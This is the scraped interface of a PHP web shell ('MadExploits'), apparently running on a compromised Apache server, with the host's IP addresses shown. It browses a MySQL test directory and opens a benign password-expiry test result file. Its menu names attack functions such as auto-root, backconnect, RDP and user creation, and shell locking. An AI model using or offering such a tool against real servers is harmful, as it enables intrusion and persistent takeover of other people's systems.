Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.128.204.151
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
auth_sec /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
access_credential_control.resu...
23.21
KB
-rw-r--r--
cert_verify.result
304
B
-rw-r--r--
early_plugin_load.result
789
B
-rw-r--r--
have_mysql_upgrade.result
21
B
-rw-r--r--
have_ssl.require
33
B
-rw-r--r--
install_keyring.result
263
B
-rw-r--r--
install_keyring_file.result
979
B
-rw-r--r--
key_rotation.result
427
B
-rw-r--r--
key_rotation_qa.result
7.57
KB
-rw-r--r--
key_value_auth.result
13
KB
-rw-r--r--
keyring_file.result
479
B
-rw-r--r--
keyring_file_data.result
1.17
KB
-rw-r--r--
keyring_file_data_qa.result
2.66
KB
-rw-r--r--
keyring_udf.result
29.95
KB
-rw-r--r--
multiple_plugins.result
5.46
KB
-rw-r--r--
mysql_native_plugin.result
10.46
KB
-rw-r--r--
mysql_no_login.result
2.03
KB
-rw-r--r--
mysql_protocol_types.result
2.38
KB
-rw-r--r--
mysql_protocol_types_windows.r...
1.93
KB
-rw-r--r--
mysql_sha256_plugin.result
9.84
KB
-rw-r--r--
mysql_ssl_connection.result
202
B
-rw-r--r--
mysql_ssl_rsa_setup.result
1.4
KB
-rw-r--r--
named_pipe_ssl.result
255
B
-rw-r--r--
not_embedded.require
16
B
-rw-r--r--
not_openssl.require
36
B
-rw-r--r--
not_ssl.require
32
B
-rw-r--r--
openssl.require
37
B
-rw-r--r--
openssl_cert_generation.result
7.37
KB
-rw-r--r--
openssl_cert_generation_debug....
577
B
-rw-r--r--
openssl_cert_generation_subjec...
435
B
-rw-r--r--
openssl_cert_validity.result
109
B
-rw-r--r--
openssl_skip_cert_generation.r...
442
B
-rw-r--r--
password_expired.result
16.4
KB
-rw-r--r--
password_expiry.result
8.09
KB
-rw-r--r--
require_secure_transport.resul...
1.49
KB
-rw-r--r--
require_secure_transport_windo...
2.08
KB
-rw-r--r--
secure_file_priv_error.result
358
B
-rw-r--r--
secure_file_priv_null.result
1.08
KB
-rw-r--r--
secure_file_priv_warnings.resu...
876
B
-rw-r--r--
secure_file_priv_warnings_not_...
582
B
-rw-r--r--
secure_file_priv_warnings_win....
454
B
-rw-r--r--
server_withssl_client_withouts...
6.18
KB
-rw-r--r--
server_withssl_client_withssl....
6.08
KB
-rw-r--r--
set_password_deprecated.result
4.76
KB
-rw-r--r--
ssl_auto_detect.result
1.82
KB
-rw-r--r--
ssl_auto_detect_openssl.result
361
B
-rw-r--r--
ssl_mode.result
5.16
KB
-rw-r--r--
tls.result
1.25
KB
-rw-r--r--
tls12_tls1.result
510
B
-rw-r--r--
wrong_keyring_file.result
166
B
-rw-r--r--
wrong_keyring_file_data.result
731
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : password_expiry.result
###################################################### Authentication cases ###################################################### #### Honouring the value of password_lifetime, below test checks if #### password expiry is working when expiry date passed. Use SET PASSWORD #### for an expired user which honours the value of password_lifetime CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 3 DAY), password_lifetime=2 WHERE user='u1'; FLUSH PRIVILEGES; #### Connection with u1 will succeed in sand box mode, but no statements #### can be executed except SET PASSWORD # Setting variables should work SELECT 'Password_Expired_SandBoxMode_Test'; ERROR HY000: You must reset your password using ALTER USER statement before executing this statement. SET PASSWORD = 'u1_new'; SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Honouring the value of password_lifetime, check if password expiry #### is working when password is active. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 2 DAY), password_lifetime=3 WHERE user='u1'; FLUSH PRIVILEGES; #### Connection will succeed, user should be able to execute statements # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Set the value of password_lifetime to 0 and check its validity. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 2 DAY), password_lifetime=0 WHERE user='u1'; FLUSH PRIVILEGES; #### Connection will succeed, user should be able to execute statements # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Honouring the value of default_password_lifetime, check if password #### expiry is working when password is expired. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 3 DAY), password_lifetime=null WHERE user='u1'; SET GLOBAL default_password_lifetime = 2; FLUSH PRIVILEGES; #### Connection will succeed, user should be able to execute statements SELECT 'Password_Expired_SandBoxMode_Test'; ERROR HY000: You must reset your password using ALTER USER statement before executing this statement. SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Honouring the value of default_password_lifetime, check if #### password expiry is working when password is expired. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 2 DAY), password_lifetime=null WHERE user='u1'; SET GLOBAL default_password_lifetime = 3; FLUSH PRIVILEGES; #### Connection will succeed, user should be able to execute statements # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Check if NULL value can be set to default_password_lifetime SET GLOBAL default_password_lifetime = null; ERROR 42000: Incorrect argument type to variable 'default_password_lifetime' #### Ensure that existing sessions are not disturbed due to change in #### global value of default_password_lifetime. CREATE USER u1 IDENTIFIED by 'u1'; #### Connection will succeed, user should be able to execute statements # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 3 DAY), password_lifetime=null WHERE user='u1'; SET GLOBAL default_password_lifetime = 2; FLUSH PRIVILEGES; # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Use SET PASSWORD for an expired user which honours the value of #### variable default_password_lifetime. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 3 DAY), password_lifetime=null WHERE user='u1'; SET GLOBAL default_password_lifetime = 2; FLUSH PRIVILEGES; #### Connection will succeed in sand box mode, #### but no statements can be executed except SET PASSWORD SELECT 'Password_Expired_SandBoxMode_Test'; ERROR HY000: You must reset your password using ALTER USER statement before executing this statement. SET PASSWORD = 'u1_new'; # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### For an expired user where password_expired is Y, ensure that it #### does not execute anything except SET PASSWORD. CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_expired='Y' WHERE user='u1'; FLUSH PRIVILEGES; #Below statement should not affect the value of password_expired column ALTER USER 'u1' PASSWORD EXPIRE INTERVAL 5 DAY; SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired Y DROP USER u1; #### Check if SET PASSWORD resets the value of column #### password_expired to N when it is Y. CREATE USER u1 IDENTIFIED by 'u1'; ALTER USER 'u1' PASSWORD EXPIRE; #Expiry status of u1 should be Y SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired Y SET PASSWORD = 'u1_new'; #Expiry status of u1 should be N SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Try updating the newly introduced columns and try setting the #### global variable default_password_lifetime with an user having #### insufficient privilege. CREATE USER u1 IDENTIFIED by 'u1'; SET GLOBAL default_password_lifetime = 2; ERROR 42000: Access denied; you need (at least one of) the SUPER privilege(s) for this operation UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 3 DAY), password_lifetime=null WHERE user='u1'; ERROR 42000: UPDATE command denied to user 'u1'@'localhost' for table 'user' DROP USER u1; #### One year password expiration check CREATE USER u1 IDENTIFIED by 'u1'; UPDATE mysql.user SET password_last_changed=DATE_SUB(NOW(), INTERVAL 361 DAY), password_lifetime=null WHERE user='u1'; SET GLOBAL default_password_lifetime = 360; FLUSH PRIVILEGES; # Connection will succeed in sand box mode, # but no statements can be executed except SET PASSWORD SELECT 'Password_Expired_SandBoxMode_Test'; ERROR HY000: You must reset your password using ALTER USER statement before executing this statement. SET PASSWORD = 'u1_new'; # Setting variables should work SET old_passwords=0; Warnings: Warning 1681 'old_passwords' is deprecated and will be removed in a future release. SELECT 'Normal_Statement_Can_Be_Executed'; Normal_Statement_Can_Be_Executed Normal_Statement_Can_Be_Executed SELECT password_expired FROM mysql.user WHERE user='u1'; password_expired N DROP USER u1; #### Cleanup statements SET GLOBAL default_password_lifetime = default;
Close